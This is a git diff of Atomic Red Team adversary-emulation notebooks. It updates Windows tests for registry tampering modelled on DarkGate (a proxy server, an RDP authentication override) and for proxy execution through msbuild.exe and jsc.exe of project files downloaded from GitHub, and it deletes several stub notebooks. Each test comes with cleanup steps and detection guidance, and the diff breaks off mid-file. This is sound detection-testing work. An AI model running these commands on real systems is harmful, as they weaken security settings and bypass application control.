"metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 66" + }, + { + "cell_type": "markdown", + "id": "07ca0a11", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyEnable /t REG_DWORD /d 0 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4f17bb19", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 66 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "8f4b930c", + "metadata": {}, + "source": [ + "### Atomic Test #67 - Set-Up Proxy Server", + "A modification registry to setup proxy server. This technique was seen in DarkGate malware as part of its installation.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyServer /t REG_SZ /d \"proxy.atomic-test.com:8080\" /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "43588912", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 67" + }, + { + "cell_type": "markdown", + "id": "0e885fda", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyServer\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d167467f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 67 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5b58fdc0", + "metadata": {}, + "source": [ + "### Atomic Test #68 - RDP Authentication Level Override", + "A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKCU\\Software\\Microsoft\\Terminal Server Client\" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3cfeca2a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 68" + }, + { + "cell_type": "markdown", + "id": "ec83bc26", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg delete \"HKCU\\Software\\Microsoft\\Terminal Server Client\" /v AuthenticationLevelOverride\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "74568a34", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1112 -TestNumbers 68 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "08196b4c", "metadata": {}, "source": "## Detection\nModifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016)." }, { "cell_type": "markdown", - "id": "7af0f3ad", + "id": "1a3efdc0", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to utilize known good copies of registry information and restore it if an adversary makes any changes.\n#### Use Case\nA defender can enable Registry Auditing on specific keys to produce an alerts whenever a value is changed and revert those keys to baseline.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -1627,13 +2386,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1116.ipynb b/playbook/tactics/defense-evasion/T1116.ipynb deleted file mode 100644 index 5d6e61e1..00000000 --- a/playbook/tactics/defense-evasion/T1116.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "02ea647c", - "metadata": {}, - "source": "# T1116 - Code Signing\nCode signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system." - }, - { - "cell_type": "markdown", - "id": "6ef9dab6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "32bdd6c1", - "metadata": {}, - "source": "## Detection\nCollect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1117.ipynb b/playbook/tactics/defense-evasion/T1117.ipynb deleted file mode 100644 index 30a51ba1..00000000 --- a/playbook/tactics/defense-evasion/T1117.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "26644e3a", - "metadata": {}, - "source": "# T1117 - Regsvr32\nRegsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)" - }, - { - "cell_type": "markdown", - "id": "45040376", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7008044c", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1118.ipynb b/playbook/tactics/defense-evasion/T1118.ipynb deleted file mode 100644 index 637b2bf7..00000000 --- a/playbook/tactics/defense-evasion/T1118.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4cdf6712", - "metadata": {}, - "source": "# T1118 - InstallUtil\nInstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)" - }, - { - "cell_type": "markdown", - "id": "37f33d15", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2389b642", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1121.ipynb b/playbook/tactics/defense-evasion/T1121.ipynb deleted file mode 100644 index 9717f1bc..00000000 --- a/playbook/tactics/defense-evasion/T1121.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6a0fbc45", - "metadata": {}, - "source": "# T1121 - Regsvcs/Regasm\nRegsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)" - }, - { - "cell_type": "markdown", - "id": "c176111d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f3d5771b", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1122.ipynb b/playbook/tactics/defense-evasion/T1122.ipynb deleted file mode 100644 index 8d0ad675..00000000 --- a/playbook/tactics/defense-evasion/T1122.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e36958f1", - "metadata": {}, - "source": "# T1122 - Component Object Model Hijacking\nThe Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection." - }, - { - "cell_type": "markdown", - "id": "8a0a4ad2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2151a938", - "metadata": {}, - "source": "## Detection\nThere are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1126.ipynb b/playbook/tactics/defense-evasion/T1126.ipynb deleted file mode 100644 index 6ff6b88a..00000000 --- a/playbook/tactics/defense-evasion/T1126.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "1520ab7f", - "metadata": {}, - "source": "# T1126 - Network Share Connection Removal\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n" - }, - { - "cell_type": "markdown", - "id": "205c441b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7effdbf9", - "metadata": {}, - "source": "## Detection\nNetwork share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1127.001.ipynb b/playbook/tactics/defense-evasion/T1127.001.ipynb index f47b3512..ed524e0d 100644 --- a/playbook/tactics/defense-evasion/T1127.001.ipynb +++ b/playbook/tactics/defense-evasion/T1127.001.ipynb @@ -2,81 +2,81 @@ "cells": [ { "cell_type": "markdown", - "id": "4565448a", + "id": "f0c24bfd", "metadata": {}, "source": "# T1127.001 - MSBuild\nAdversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)" }, { "cell_type": "markdown", - "id": "498fbf8b", + "id": "330fc954", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "872bbffc", + "id": "39500253", "metadata": {}, - "source": "### Atomic Test #1 - MSBuild Bypass Using Inline Tasks (C#)\nExecutes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print \"Hello From a Code Fragment\" and \"Hello From a Class.\" to the screen.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Project file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj\" -OutFile \"PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\"\n\n```" + "source": "### Atomic Test #1 - MSBuild Bypass Using Inline Tasks (C#)\nExecutes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print \"Hello From a Code Fragment\" and \"Hello From a Class.\" to the screen.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Project file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj\" -OutFile \"PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b2b673a2", + "id": "1e2ac336", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e78fae31", + "id": "67b4a365", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \"PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e930791a", + "id": "3d9115f6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d98ea44f", + "id": "0196ed23", "metadata": {}, - "source": "### Atomic Test #2 - MSBuild Bypass Using Inline Tasks (VB)\nExecutes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print \"Hello from a Visual Basic inline task!\" to the screen.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Project file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1127.001\\src\\vb.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1127.001\\src\\vb.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml\" -OutFile \"PathToAtomicsFolder\\T1127.001\\src\\vb.xml\"\n\n```" + "source": "### Atomic Test #2 - MSBuild Bypass Using Inline Tasks (VB)\nExecutes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print \"Hello from a Visual Basic inline task!\" to the screen.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Project file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1127.001\\src\\vb.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1127.001\\src\\vb.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml\" -OutFile \"PathToAtomicsFolder\\T1127.001\\src\\vb.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3a9656ad", + "id": "a85eb957", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e94846ef", + "id": "01bfe4d5", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe PathToAtomicsFolder\\T1127.001\\src\\vb.xml\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \"PathToAtomicsFolder\\T1127.001\\src\\vb.xml\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "47f45949", + "id": "8ee01339", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "abd7666c", + "id": "86f08a12", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed." } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1127.ipynb b/playbook/tactics/defense-evasion/T1127.ipynb index 7f7dcf3e..300f35c9 100644 --- a/playbook/tactics/defense-evasion/T1127.ipynb +++ b/playbook/tactics/defense-evasion/T1127.ipynb @@ -2,115 +2,115 @@ "cells": [ { "cell_type": "markdown", - "id": "ad1401cc", + "id": "c0636904", "metadata": {}, "source": "# T1127 - Trusted Developer Utilities Proxy Execution\nAdversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions." }, { "cell_type": "markdown", - "id": "e7540fe2", + "id": "bae42479", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "959e24ac", + "id": "29b45044", "metadata": {}, - "source": "### Atomic Test #1 - Lolbin Jsc.exe compile javascript to exe\nUse jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: JavaScript code file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1127\\src\\hello.js) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1127\\src\\hello.js) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js\" -OutFile \"PathToAtomicsFolder\\T1127\\src\\hello.js\"\n\n```" + "source": "### Atomic Test #1 - Lolbin Jsc.exe compile javascript to exe\nUse jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: JavaScript code file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1127\\src\\hello.js\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1127\\src\\hello.js\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js\" -OutFile \"PathToAtomicsFolder\\T1127\\src\\hello.js\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fb8aa7a9", + "id": "4819ec04", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "678c4122", + "id": "6ca4eae0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy PathToAtomicsFolder\\T1127\\src\\hello.js %TEMP%\\hello.js\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe %TEMP%\\hello.js\n```" + "```command_prompt\ncopy \"PathToAtomicsFolder\\T1127\\src\\hello.js\" %TEMP%\\hello.js\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe %TEMP%\\hello.js\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "70e32926", + "id": "b3a9eebc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "011438ee", + "id": "d146bc9f", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\hello.js\ndel %TEMP%\\hello.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f0920d75", + "id": "376c6799", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "81c13f52", + "id": "ffbc8d03", "metadata": {}, - "source": "### Atomic Test #2 - Lolbin Jsc.exe compile javascript to dll\nUse jsc.exe to compile javascript code stored in Library.js and output Library.dll.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: JavaScript code file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1127\\src\\LibHello.js) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1127\\src\\LibHello.js) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js\" -OutFile \"PathToAtomicsFolder\\T1127\\src\\LibHello.js\"\n\n```" + "source": "### Atomic Test #2 - Lolbin Jsc.exe compile javascript to dll\nUse jsc.exe to compile javascript code stored in Library.js and output Library.dll.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: JavaScript code file must exist on disk at specified location (#{filename})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1127\\src\\LibHello.js\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1127\\src\\LibHello.js\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js\" -OutFile \"PathToAtomicsFolder\\T1127\\src\\LibHello.js\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dbf48d87", + "id": "ae8b6148", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "67021c73", + "id": 